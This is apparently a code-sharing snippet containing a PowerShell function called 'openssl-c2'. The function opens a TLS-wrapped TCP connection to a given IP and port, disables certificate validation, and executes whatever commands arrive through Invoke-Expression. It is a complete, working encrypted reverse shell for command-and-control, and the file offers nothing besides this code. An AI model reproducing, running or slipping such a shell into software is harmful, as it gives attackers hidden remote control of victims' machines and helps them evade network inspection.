Created
January 3, 2020 01:39
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function openssl-c2 ($ip,$port,$domain="fake.domain") { | |
$socket = New-Object Net.Sockets.TcpClient($ip, $port) | |
$stream = $socket.GetStream() | |
$sslStream = New-Object System.Net.Security.SslStream($stream,$false,({$True} -as [Net.Security.RemoteCertificateValidationCallback])) | |
$sslStream.AuthenticateAsClient($domain, $null, "Tls12", $false) | |
$writer = new-object System.IO.StreamWriter($sslStream) | |
$writer.Write('PS ' + (pwd).Path + '> ') | |
$writer.flush() | |
[byte[]]$bytes = 0..65535|%{0}; | |
while(($i = $sslStream.Read($bytes, 0, $bytes.Length)) -ne 0) | |
{$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i); | |
$sendback = (iex $data | Out-String ) 2>&1; | |
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> '; | |
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2); | |
$sslStream.Write($sendbyte,0,$sendbyte.Length);$sslStream.Flush()} | |
} |
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